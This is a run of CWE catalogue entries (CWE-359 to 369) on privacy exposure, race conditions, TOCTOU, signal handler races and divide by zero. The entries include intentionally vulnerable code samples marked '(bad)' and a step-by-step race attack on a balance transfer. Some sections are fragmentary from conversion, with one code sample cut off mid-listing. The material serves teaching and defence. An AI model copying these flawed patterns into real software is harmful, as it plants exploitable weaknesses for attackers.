## CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

<b>Weakness ID</b> : 359	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.

### Extended Description

There are many types of sensitive information that products must protect from attackers, including system data, communications, configuration, business secrets, intellectual property, and an individual's personal (private) information. Private personal information may include a password, phone number, geographic location, personal messages, credit card number, etc. Private information is important to consider whether the person is a user of the product, or part of a data set that is processed by the product. An exposure of private information does not necessarily prevent the product from working properly, and in fact the exposure might be intended by the developer, e.g. as part of data sharing with other organizations. However, the exposure of personal private information can still be undesirable or explicitly prohibited by law or regulation.

Some types of private information include:

- Government identifiers, such as Social Security Numbers
- Contact information, such as home addresses and telephone numbers
- Geographic location - where the user is (or was)
- Employment history
- Financial data - such as credit card numbers, salary, bank accounts, and debts
- Pictures, video, or audio
- Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
- Relationships (and types of relationships) with others - family, friends, contacts, etc.

- Communications - e-mail addresses, private messages, text messages, chat logs, etc.
- Health - medical conditions, insurance status, prescription records
- Account passwords and other credentials

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

## Detection Methods

### Architecture or Design Review

Private personal data can enter a program in a variety of ways: Directly from the user in the form of a password or personal information Accessed from a database or other data store by the application Indirectly from a partner or other third party If the data is written to an external location - such as the console, file system, or network - a privacy violation may occur.

*Effectiveness = High*

## Potential Mitigations

**Phase: Requirements**

Identify and consult all relevant regulations for personal privacy. An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles. Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.

**Phase: Architecture and Design**

Carefully evaluate how secure design may interfere with privacy, and vice versa. Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable to store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

**Demonstrative Examples****Example 1:**

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the `getPassword()` function returns the user-supplied plaintext password associated with the account.

*Example Language: C#*

*(bad)*

```
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

**Example 2:**

This code uses location to determine the user's current US State location.

First the application must declare that it requires the `ACCESS_FINE_LOCATION` permission in the application's `manifest.xml`:

*Example Language: XML*

*(bad)*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to `getLastLocation()` will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

*Example Language: Java*

*(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS\_FINE\_LOCATION permission, as the ACCESS\_COARSE\_LOCATION permission will be sufficient to identify which US state the user is in.

### Example 3:

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

### Maintenance

This entry overlaps many other entries that are not organized around the kind of sensitive information that is exposed. However, because privacy is treated with such importance due to regulations and other factors, and it may be useful for weakness-finding tools to highlight capabilities that detect personal private information instead of system information, it is not clear whether - and how - this entry should be deprecated.

## CWE-360: Trust of System Event Data

<b>Weakness ID</b> : 360	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

Security based on event locations are insecure and can be spoofed.

### Extended Description

Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	769
ParentOf		422	Unprotected Windows Messaging Channel ('Shatter')	926

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

**Common Consequences**

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Execute Unauthorized Code or Commands	
Availability		
Access Control	<i>If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.</i>	

**Potential Mitigations****Phase: Architecture and Design**

Never trust or rely any of the information in an Event for security.

**Demonstrative Examples****Example 1:**

This example code prints out secret information when an authorized user activates a button:

Example Language: Java

(bad)

```
public void actionPerformed(ActionEvent e) {
    if (e.getSource() == button) {
        System.out.println("print out secret information");
    }
}
```

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

**CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')**

Weakness ID : 362

Status: Draft

Structure : Simple

Abstraction : Class

**Description**

The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

### Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

- Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
- Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)  <i>When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).</i>	
Availability	DoS: Crash, Exit, or Restart DoS: Instability  <i>When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.</i>	
Confidentiality Integrity	Read Files or Directories Read Application Data  <i>When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).</i>	

### Detection Methods

#### Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

#### White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes,

and look for evidence of any unexpected behavior. Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

### **Potential Mitigations**

#### **Phase: Architecture and Design**

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

#### **Phase: Architecture and Design**

Use thread-safe capabilities such as the data access abstraction in Spring.

#### **Phase: Architecture and Design**

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the

likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

**Phase: Implementation**

When using multithreading and operating on shared variables, only use thread-safe functions.

**Phase: Implementation**

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x+". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

**Phase: Implementation**

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

**Phase: Implementation**

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

**Phase: Implementation**

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

**Phase: Implementation**

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Demonstrative Examples****Example 1:**

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

*Example Language: Perl*

*(bad)*

```
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
    FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
    FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
```

A race condition could occur between the calls to `GetBalanceFromDatabase()` and `SendNewBalanceToDatabase()`.

Suppose the balance is initially 100.00. An attack could be constructed as follows:

*Example Language: Other*

*(attack)*

*In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.  
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.  
CALLER-1 makes a transfer request of 80.00.  
PROGRAM-1 calls GetBalanceFromDatabase and sets \$balance to 100.00  
PROGRAM-1 calculates \$newbalance as 20.00, then calls SendNewBalanceToDatabase().  
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.  
CALLER-2 makes a transfer request of 1.00.  
PROGRAM-2 calls GetBalanceFromDatabase() and sets \$balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.  
PROGRAM-2 determines the new balance as 99.00.  
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.  
PROGRAM-2 sends a request to update the database, setting the balance to 99.00*

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

### Example 2:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

*Example Language: C*

*(bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread\_mutex\_lock() for errors. If pthread\_mutex\_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

*Example Language: C*

*(good)*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

### Example 3:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

## Notes

### Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

### Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

### Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

### Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

## CWE-363: Race Condition Enabling Link Following

**Weakness ID** : 363

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the software to access the wrong file.

### Extended Description

While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Integrity	Modify Files or Directories	

### Demonstrative Examples

#### Example 1:

This code prints the contents of a file if a user has permission.

*Example Language: PHP*

*(bad)*

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to `is_link()` and `file_get_contents()`, allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

## CWE-364: Signal Handler Race Condition

<b>Weakness ID</b> : 364	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses a signal handler that introduces a race condition.

### Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.

These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

- Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code
- Shared state between a signal handler and other signal handlers
- Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.
- Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.

- Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality
- While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

- Avoiding shared state
- Using synchronization in the signal handler
- Using synchronization in the regular code
- Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

Access Control	Gain Privileges or Assume Identity  <i>If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.</i>	

### Potential Mitigations

#### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

#### Phase: Architecture and Design

Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

#### Phase: Implementation

Only use reentrant functions within signal handlers. Also, use validation to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

### Demonstrative Examples

#### Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

*Example Language: C*

*(bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

### Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C

(bad)

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process

2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

## CWE-365: Race Condition in Switch

**Weakness ID** : 365

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.

### Extended Description

This issue is particularly important in the case of switch statements that involve fall-through style case statements - i.e., those which do not end with break. If the variable being tested by the switch changes in the course of execution, this could change the intended logic of the switch so much that it places the process in a contradictory state and in some cases could even result in memory corruption.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Other	Unexpected State	
<i>This weakness may lead to unexpected system state, resulting in unpredictable behavior.</i>		

## Potential Mitigations

### Phase: Implementation

Variables that may be subject to race conditions should be locked before the switch statement starts and only unlocked after the statement ends.

## Demonstrative Examples

### Example 1:

This example has a switch statement that executes different code depending on the current time.

Example Language: C

(bad)

```
#include <sys/types.h>
#include <sys/stat.h>
int main(argc,argv){
    struct stat *sb;
    time_t timer;
    lstat("bar.sh",sb);
    printf("%d\n",sb->st_ctime);
    switch(sb->st_ctime % 2){
        case 0: printf("One option\n");
            break;
        case 1: printf("another option\n");
            break;
        default: printf("huh\n");
            break;
    }
    return 0;
}
```

It seems that the default case of the switch statement should never be reached, as `st_ctime % 2` should always be 0 or 1. However, if `st_ctime % 2` is 1 when the first case is evaluated, the time may change and `st_ctime % 2` may be equal to 0 when the second case is evaluated. The result is that neither case 1 or case 2 execute, and the default option is chosen.

## CWE-366: Race Condition within a Thread

**Weakness ID** : 366

**Status**: Draft

**Structure** : Simple

### Potential Mitigations

**Phase: Architecture and Design**

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

**Phase: Architecture and Design**

Create resource-locking validation checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

**Demonstrative Examples****Example 1:**

The following example demonstrates the weakness.

*Example Language: C*

```
int foo = 0;
int storenum(int num) {
    static int counter = 0;
    counter++;
    if (num > foo) foo = num;
    return foo;
}
```

*Example Language: Java*

```
public class Race {
    static int foo = 0;
    public static void main() {
        new Threader().start();
        foo = 1;

## CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

<b>Weakness ID</b> : 367	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

### Extended Description

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**TOCTTOU** : The TOCTTOU acronym expands to "Time Of Check To Time Of Use".

**TOCCTOU** : The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

## Potential Mitigations

### Phase: Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

### Phase: Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

### Phase: Architecture and Design

Limit the interleaving of operations on files from multiple processes.

### Phase: Implementation

### Phase: Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

### Phase: Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

### Phase: Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

### Phase: Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

## Demonstrative Examples

### Example 1:

The following code checks a file, then updates its contents.

Example Language: C

(bad)

```
struct stat *sb;
...
lstat(".",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
    print("Now updating things\n");
    updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

### Example 2:

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not

use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the `access()` system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

Example Language: C

(bad)

```
if(!access(file,W_OK)) {
    f = fopen(file,"w+");
    operate(f);
    ...
}
else {
    fprintf(stderr,"Unable to open file %s.\n",file);
}
```

The call to `access()` behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both `access()` and `fopen()` operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to `fopen()` that it did when it was passed to `access()`. If an attacker replaces file after the call to `access()` with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

### Example 3:

This code prints the contents of a file if a user has permission.

Example Language: PHP

(bad)

```
function readfile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to `is_link()` and `file_get_contents()`, allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

#### Relationship

TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

#### Research Gap

Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.

## CWE-368: Context Switching Race Condition

**Weakness ID** : 368

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

### Extended Description

This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-369: Divide By Zero

Weakness ID : 369

Status: Draft

**Structure** : Simple  
**Abstraction** : Base

## Description

The product divides a value by zero.

## Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart <i>A Divide by Zero results in a crash.</i>	

## Demonstrative Examples

### Example 1:

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

*Example Language: Java*

*(bad)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) {
```

```

return totalTime / numRequests;
}

```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

*Example Language:*

*(good)*

```

public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
    if (numRequests == 0) {
        System.out.println("Division by zero attempted!");
        throw ArithmeticException;
    }
    return totalTime / numRequests;
}

```

### Example 2:

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

*Example Language: C*

*(bad)*

```

double divide(double x, double y){
    return x/y;
}

```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

*Example Language:*

*(good)*

```

const int DivideByZero = 10;
double divide(double x, double y){
    if ( 0 == y){
        throw DivideByZero;
    }
    return x/y;
}
...
try{
    divide(10, 0);
}
catch( int i ){
    if(i==DivideByZero) {
        cerr<<"Divide by zero error";
    }
}

```

### Example 3:

